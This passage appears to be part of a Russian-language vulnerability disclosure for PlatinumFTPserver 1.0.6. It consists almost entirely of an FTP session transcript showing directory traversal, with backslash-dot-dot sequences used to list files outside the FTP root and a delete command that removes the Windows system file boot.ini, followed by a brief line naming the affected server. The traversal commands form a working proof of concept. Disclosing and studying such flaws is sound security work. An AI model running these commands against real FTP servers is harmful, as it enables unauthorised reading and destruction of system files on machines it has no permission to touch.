226 Listing complete.
ftp> cd .
550 Access denied
ftp> dir .\..\..\..200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
….
226 Listing complete.
ftp: 1181 bytes received in 0,00Seconds 1181000,00Kbytes/sec.
ftp> delete ..\..\..\..\boot.ini
250 delete command successful.
ftp> dir .\..\..\..200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
….
226 Listing complete.
ftp: 1181 bytes received in 0,12Seconds 9,76Kbytes/sec.
ftp> cd @/..@/..
ftp> bye
221 Goodbye.

Уязвимость обнаружена в Byte/400 PlatinumFTPserver 1.0.6.

Оставить мнение